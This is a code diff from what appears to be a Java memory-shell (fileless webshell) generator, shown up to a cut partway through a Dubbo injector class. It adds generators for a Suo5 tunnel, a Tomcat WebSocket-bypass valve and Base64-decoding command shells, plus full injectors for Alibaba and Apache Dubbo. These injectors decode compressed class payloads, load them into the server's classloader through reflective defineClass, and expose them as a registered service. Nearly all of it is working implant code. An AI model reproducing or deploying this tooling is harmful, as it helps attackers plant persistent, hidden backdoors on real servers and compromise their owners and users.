generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

@@ -49,6 +49,12 @@ public class InjectorGenerator {
                 .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                 .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
 
+        byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
+        if (helperClassBytes != null) {
+            String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
+            builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
+        }
+
         if (shellConfig.needByPassJavaModule()) {
             builder = ByPassJavaModuleInterceptor.extend(builder);
         }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java

@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
     private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
             new ListenerBuilderModifier(),
             new ValveBuilderModifier(),
-            new JakartaBuilderModifier(),
             new DebugOffBuilderModifier()
     );
 
     private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
+            new JakartaPostProcessor(),
             new JettyHandlerPostProcessor(),
             new ShrinkPostProcessor()
     );

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProxyGenerator.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.ProxyConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+
+public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
+    public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
+        super(shellConfig, shellToolConfig);
+    }
+
+    @Override
+    protected DynamicType.Builder<?> getBuilder() {
+        return new ByteBuddy().redefine(shellToolConfig.getShellClass());
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5V2Generator.java

@@ -0,0 +1,46 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.Suo5Config;
+import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
+import com.reajason.javaweb.utils.CommonUtil;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import org.apache.commons.codec.binary.Base64;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/12
+ */
+public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
+
+    public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
+        super(shellConfig, suo5Config);
+    }
+
+    @Override
+    protected DynamicType.Builder<?> getBuilder() {
+        if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
+            return new ByteBuddy()
+                    .redefine(shellToolConfig.getShellClass())
+                    .field(named("headerName")).value(shellToolConfig.getHeaderName())
+                    .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
+        }
+        try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
+                .redefine(Suo5v2.class)
+                .name(CommonUtil.generateClassName())
+                .field(named("headerName")).value(shellToolConfig.getHeaderName())
+                .field(named("headerValue")).value(shellToolConfig.getHeaderValue())
+                .visit(TargetJreVersionVisitorWrapper.DEFAULT)
+                .make()) {
+            byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
+            return new ByteBuddy()
+                    .redefine(shellToolConfig.getShellClass())
+                    .field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java

@@ -0,0 +1,54 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.Server;
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import org.apache.commons.lang3.tuple.Pair;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2026/1/13
+ */
+public class WebSocketByPassHelperGenerator {
+    public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
+        if (headerPair == null) {
+            throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
+        }
+
+        if (Server.Tomcat.equals(shellConfig.getServer())) {
+            DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
+                    .redefine(TomcatWsBypassValve.class)
+                    .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
+                    .field(named("headerName")).value(headerPair.getKey())
+                    .field(named("headerValue")).value(headerPair.getValue())
+                    .name(helperClassName);
+            if (shellConfig.isJakarta()) {
+                builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+            }
+            try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
+                return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
+            }
+        }
+        return null;
+    }
+
+    private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
+        if (shellToolConfig instanceof CommandConfig) {
+            return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
+        } else if (shellToolConfig instanceof GodzillaConfig) {
+            return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
+        } else if (shellToolConfig instanceof ProxyConfig) {
+            return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
+        }
+        return null;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java

@@ -0,0 +1,16 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import com.reajason.javaweb.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/27
+ */
+public class Base64ParamInterceptor {
+
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
+        returnValue = ShellCommonUtil.base64DecodeToString(param);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -42,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                     .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
                     .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
         }
+        if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
+            builder = builder
+                    .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
+                            shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
+                    .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(String.class)
+                    .throwing(Exception.class)
+                    .intercept(FixedValue.nullValue())
+                    .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
+                    .visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
+        }
         if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
             builder = builder.visit(Advice.withCustomMapping()
                     .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java

@@ -1,7 +1,6 @@
 package com.reajason.javaweb.memshell.generator.command;
 
 import net.bytebuddy.asm.Advice;
-import org.apache.commons.io.IOUtils;
 
 import java.io.IOException;
 import java.io.InputStream;

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java

@@ -1,22 +0,0 @@
-package com.reajason.javaweb.memshell.generator.processors;
-
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.Processor;
-import net.bytebuddy.dynamic.DynamicType;
-
-/**
- * @author ReaJason
- * @since 2025/12/7
- */
-public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
-
-    @Override
-    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-        return builder;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaPostProcessor.java

@@ -0,0 +1,16 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+
+public class JakartaPostProcessor implements Processor<byte[]> {
+    @Override
+    public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        if (shellConfig.isJakarta()) {
+            return ClassRenameUtils.relocateJakarta(input);
+        }
+        return input;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java

@@ -17,6 +17,7 @@ import net.bytebuddy.description.modifier.Visibility;
 import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
+import net.bytebuddy.implementation.StubMethod;
 import net.bytebuddy.matcher.ElementMatchers;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -46,12 +47,9 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
                                                   TypeDescription typeDefinition, String newClassName) {
         MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
 
-        if (methods.filter(ElementMatchers.named("getResponseFromRequest")
+        if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
-                        .and(ElementMatchers.takesArguments(Object.class))
+            throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
-                        .and(ElementMatchers.returns(Object.class)))
+                    " the method body will be auto adapted for multi server");
-                .isEmpty()) {
-            throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
-                    " make sure arg and return type is Object.class");
         } else {
             builder = builder
                     .visit(MethodCallReplaceVisitorWrapper.newInstance(
@@ -59,13 +57,11 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
                     .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
         }
 
-        if (methods.filter(named("getFieldValue")
+        if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
-                        .and(takesArguments(Object.class, String.class)))
-                .isEmpty()) {
             builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
                     .withParameters(Object.class, String.class)
                     .throwing(Exception.class)
-                    .intercept(FixedValue.nullValue())
+                    .intercept(StubMethod.INSTANCE)
                     .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
         }
         return builder;

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

@@ -6,7 +6,9 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

@@ -6,7 +6,9 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**

generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/AlibabaDubboServiceInjector.java

@@ -0,0 +1,451 @@
+package com.reajason.javaweb.memshell.injector.dubbo;
+
+import com.alibaba.dubbo.common.URL;
+import com.alibaba.dubbo.common.bytecode.ClassGenerator;
+import com.alibaba.dubbo.common.utils.ClassHelper;
+import com.alibaba.dubbo.config.*;
+import com.alibaba.dubbo.config.model.ApplicationModel;
+import com.alibaba.dubbo.config.model.ProviderModel;
+import javassist.ClassPool;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.security.ProtectionDomain;
+import java.util.ArrayList;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.zip.GZIPInputStream;
+
+public class AlibabaDubboServiceInjector {
+    private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
+    private static final String DISPLAY_HOST = "x.x.x.x";
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public String getHelperBase64String() {
+        return "{{helperBase64String}}";
+    }
+
+    public AlibabaDubboServiceInjector() {
+        if (ok) {
+            return;
+        }
+        try {
+            msg += registerService();
+        } catch (Throwable e) {
+            msg += "unexcepted error: " + stackTrace(e);
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    public String registerService() throws Exception {
+        String servicePath = normalizePath(getUrlPattern());
+        if (servicePath.isEmpty()) {
+            throw new IllegalArgumentException("path must not be empty");
+        }
+
+        if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
+            return resolveServiceAddresses(servicePath);
+        }
+
+        Class<?> serviceInterface = loadClass(getHelperBase64String());
+        Class<?> serviceImpl = loadClass(getBase64String());
+        validateServiceTypes(serviceInterface, serviceImpl);
+
+        ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
+        if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
+            return resolveServiceAddresses(servicePath);
+        }
+
+        try {
+            serviceConfig.export();
+            return resolveServiceAddresses(servicePath);
+        } catch (RuntimeException e) {
+            dynamicServices.remove(servicePath, serviceConfig);
+            throw e;
+        }
+    }
+
+    private Class<?> loadClass(String payload) throws Exception {
+        ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
+        byte[] classBytes = gzipDecompress(decodeBase64(payload));
+        definePackageIfNeeded(classLoader, getClassName());
+        Class<?> loadedClass = defineClass(classLoader, classBytes);
+        registerInJavassistClassPool(classLoader, classBytes);
+        return loadedClass;
+    }
+
+    private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
+        ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
+        Method defineClass = ClassLoader.class.getDeclaredMethod(
+                "defineClass",
+                String.class,
+                byte[].class,
+                int.class,
+                int.class,
+                ProtectionDomain.class
+        );
+        defineClass.setAccessible(true);
+        return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
+    }
+
+    private void definePackageIfNeeded(ClassLoader classLoader, String className) {
+        int packageEnd = className.lastIndexOf('.');
+        if (packageEnd < 0) {
+            return;
+        }
+
+        String packageName = className.substring(0, packageEnd);
+        try {
+            Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
+            getPackage.setAccessible(true);
+            if (getPackage.invoke(classLoader, packageName) != null) {
+                return;
+            }
+
+            Method definePackage = ClassLoader.class.getDeclaredMethod(
+                    "definePackage",
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    java.net.URL.class
+            );
+            definePackage.setAccessible(true);
+            definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
+        } catch (Exception ignored) {
+            // Defining the package is a convenience for older class loaders. The class can still load without it.
+        }
+    }
+
+    private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
+        try {
+            ClassPool classPool = ClassGenerator.getClassPool(classLoader);
+            classPool.makeClass(new ByteArrayInputStream(classBytes));
+        } catch (Throwable ignored) {
+            // Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
+        }
+    }
+
+    private static byte[] decodeBase64(String value) throws Exception {
+        Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+        return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
+    }
+
+    private static byte[] gzipDecompress(byte[] bytes) throws Exception {
+        GZIPInputStream inputStream = null;
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+        try {
+            inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
+            byte[] buffer = new byte[4096];
+            int read;
+            while ((read = inputStream.read(buffer)) > 0) {
+                outputStream.write(buffer, 0, read);
+            }
+            return outputStream.toByteArray();
+        } finally {
+            if (inputStream != null) {
+                inputStream.close();
+            }
+            outputStream.close();
+        }
+    }
+
+    private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
+        if (!serviceInterface.isInterface()) {
+            throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
+        }
+        if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
+            throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
+        }
+        if (!serviceInterface.isAssignableFrom(serviceImpl)) {
+            throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
+        }
+    }
+
+    private Object instantiate(Class<?> serviceImpl) {
+        try {
+            Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
+            constructor.setAccessible(true);
+            return constructor.newInstance();
+        } catch (Exception e) {
+            throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
+        }
+    }
+
+    private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
+        ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
+        serviceConfig.setInterface(serviceInterface);
+        serviceConfig.setRef(serviceImpl);
+        serviceConfig.setPath(servicePath);
+
+        ProviderConfig providerConfig = findProviderConfig();
+        if (providerConfig != null) {
+            serviceConfig.setProvider(providerConfig);
+            if (notEmpty(providerConfig.getVersion())) {
+                serviceConfig.setVersion(providerConfig.getVersion());
+            }
+        }
+
+        ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
+        if (applicationConfig != null) {
+            serviceConfig.setApplication(applicationConfig);
+        }
+
+        List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
+        if (!protocolConfigs.isEmpty()) {
+            serviceConfig.setProtocols(protocolConfigs);
+        }
+
+        List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
+        if (!registryConfigs.isEmpty()) {
+            serviceConfig.setRegistries(registryConfigs);
+        }
+
+        return serviceConfig;
+    }
+
+    private ServiceConfig<?> findRegisteredService(String servicePath) {
+        String normalizedPath = normalizePath(servicePath);
+        for (ProviderModel providerModel : providerModels()) {
+            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
+                return serviceConfig;
+            }
+        }
+        return null;
+    }
+
+    private ProviderConfig findProviderConfig() {
+        for (ProviderModel providerModel : providerModels()) {
+            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig != null && serviceConfig.getProvider() != null) {
+                return serviceConfig.getProvider();
+            }
+        }
+        return null;
+    }
+
+    private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
+        if (providerConfig != null && providerConfig.getApplication() != null) {
+            return providerConfig.getApplication();
+        }
+
+        for (ProviderModel providerModel : providerModels()) {
+            com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig == null) {
+                continue;
+            }
+            if (serviceConfig.getApplication() != null) {
+                return serviceConfig.getApplication();
+            }
+            if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
+                return serviceConfig.getProvider().getApplication();
+            }
+        }
+        return null;
+    }
+
+    private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
+        List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
+        addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
+        for (ProviderModel providerModel : providerModels()) {
+            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig == null) {
+                continue;
+            }
+            addProtocols(protocols, serviceConfig.getProtocols());
+            addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
+        }
+        return uniqueProtocols(protocols);
+    }
+
+    private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
+        List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
+        if (!registries.isEmpty()) {
+            return registries;
+        }
+
+        registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
+        if (!registries.isEmpty()) {
+            return registries;
+        }
+
+        for (ProviderModel providerModel : providerModels()) {
+            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig == null) {
+                continue;
+            }
+
+            registries = registries(serviceConfig.getRegistries());
+            if (!registries.isEmpty()) {
+                return registries;
+            }
+
+            ProviderConfig serviceProvider = serviceConfig.getProvider();
+            registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
+            if (!registries.isEmpty()) {
+                return registries;
+            }
+
+            ApplicationConfig serviceApplication = serviceConfig.getApplication();
+            registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
+            if (!registries.isEmpty()) {
+                return registries;
+            }
+        }
+
+        return new ArrayList<RegistryConfig>();
+    }
+
+    private String resolveServiceAddresses(String servicePath) {
+        String normalizedPath = normalizePath(servicePath);
+        ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
+        if (serviceConfig == null) {
+            serviceConfig = findRegisteredService(normalizedPath);
+        }
+        if (serviceConfig == null) {
+            return normalizedPath;
+        }
+
+        List<URL> exportedUrls = serviceConfig.getExportedUrls();
+        if (exportedUrls != null && !exportedUrls.isEmpty()) {
+            return formatUrls(exportedUrls);
+        }
+
+        List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
+        if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
+            protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
+        }
+        if (protocols.isEmpty()) {
+            return normalizedPath;
+        }
+
+        return formatProtocolAddresses(protocols, normalizedPath);
+    }
+
+    private String formatUrls(List<URL> urls) {
+        StringBuilder builder = new StringBuilder();
+        for (URL url : urls) {
+            if (builder.length() > 0) {
+                builder.append(", ");
+            }
+            builder.append(formatUrl(url));
+        }
+        return builder.toString();
+    }
+
+    private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
+        StringBuilder builder = new StringBuilder();
+        for (ProtocolConfig protocol : protocols) {
+            if (builder.length() > 0) {
+                builder.append(", ");
+            }
+            builder.append(formatProtocolAddress(protocol, path));
+        }
+        return builder.toString();
+    }
+
+    private String formatUrl(URL url) {
+        String path = normalizePath(url.getPath());
+        int port = url.getPort();
+        return port > 0
+                ? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
+                : String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
+    }
+
+    private String formatProtocolAddress(ProtocolConfig protocol, String path) {
+        String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
+        Integer port = protocol.getPort();
+        return port != null && port > 0
+                ? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
+                : String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
+    }
+
+    private List<ProviderModel> providerModels() {
+        try {
+            return ApplicationModel.allProviderModels();
+        } catch (Throwable ignored) {
+            return new ArrayList<ProviderModel>();
+        }
+    }
+
+    private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
+        if (source != null) {
+            target.addAll(source);
+        }
+    }
+
+    private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
+        Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
+        if (protocols != null) {
+            for (ProtocolConfig protocol : protocols) {
+                if (protocol != null) {
+                    unique.put(protocolKey(protocol), protocol);
+                }
+            }
+        }
+        return new ArrayList<ProtocolConfig>(unique.values());
+    }
+
+    private List<RegistryConfig> registries(List<RegistryConfig> registries) {
+        return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
+    }
+
+    private String protocolKey(ProtocolConfig protocol) {
+        return String.valueOf(protocol.getName())
+                + "|"
+                + String.valueOf(protocol.getHost())
+                + "|"
+                + String.valueOf(protocol.getPort())
+                + "|"
+                + String.valueOf(protocol.getServer())
+                + "|"
+                + String.valueOf(protocol.getId());
+    }
+
+    private String normalizePath(String path) {
+        if (path == null) {
+            return "";
+        }
+
+        String normalized = path.trim();
+        while (normalized.startsWith("/")) {
+            normalized = normalized.substring(1);
+        }
+        return normalized;
+    }
+
+    private boolean notEmpty(String value) {
+        return value != null && !value.isEmpty();
+    }
+
+    private String stackTrace(Throwable throwable) {
+        StringWriter writer = new StringWriter();
+        throwable.printStackTrace(new PrintWriter(writer));
+        return writer.toString();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/ApacheDubboServiceInjector.java

@@ -0,0 +1,616 @@
+package com.reajason.javaweb.memshell.injector.dubbo;
+
+import javassist.ClassPool;
+import org.apache.dubbo.common.bytecode.ClassGenerator;
+import org.apache.dubbo.config.*;
+import org.apache.dubbo.rpc.model.ApplicationModel;
+
+import java.io.*;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.security.ProtectionDomain;
+import java.util.*;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.stream.Collectors;
+import java.util.zip.GZIPInputStream;
+
+public class ApacheDubboServiceInjector {
+    private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
+    private static final String DISPLAY_HOST = "x.x.x.x";
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public String getHelperBase64String() {
+        return "{{helperBase64String}}";
+    }
+
+    public ApacheDubboServiceInjector() {
+        if (ok) {
+            return;
+        }
+        try {
+            msg += registerService();
+        } catch (Throwable e) {
+            msg += "unexcepted error: " + getErrorMessage(e);
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    private Class<?> loadClass(String payload) throws Exception {
+        ClassLoader classLoader = resolveDubboClassLoader();
+        byte[] classBytes = gzipDecompress(decodeBase64(payload));
+        definePackageIfNeeded(classLoader, getClassName());
+        Class<?> loadedClass = defineClass(classLoader, classBytes);
+        registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return loadedClass;
+    }
+
+    private ClassLoader resolveDubboClassLoader() {
+        ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
+        if (classLoader != null) {
+            return classLoader;
+        }
+        classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
+        if (classLoader != null) {
+            return classLoader;
+        }
+        classLoader = ClassGenerator.class.getClassLoader();
+        return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
+    }
+
+    private ClassLoader invokeDubboClassLoader(String className) {
+        try {
+            Class<?> helperClass = Class.forName(className);
+            return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
+        } catch (Throwable ignored) {
+            return null;
+        }
+    }
+
+    private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
+        ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
+        Method defineClass = ClassLoader.class.getDeclaredMethod(
+                "defineClass",
+                String.class,
+                byte[].class,
+                int.class,
+                int.class,
+                ProtectionDomain.class
+        );
+        defineClass.setAccessible(true);
+        return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
+    }
+
+    private void definePackageIfNeeded(ClassLoader classLoader, String className) {
+        int packageEnd = className.lastIndexOf('.');
+        if (packageEnd < 0) {
+            return;
+        }
+        String packageName = className.substring(0, packageEnd);
+        try {
+            Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
+            getPackage.setAccessible(true);
+            if (getPackage.invoke(classLoader, packageName) != null) {
+                return;
+            }
+            Method definePackage = ClassLoader.class.getDeclaredMethod(
+                    "definePackage",
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
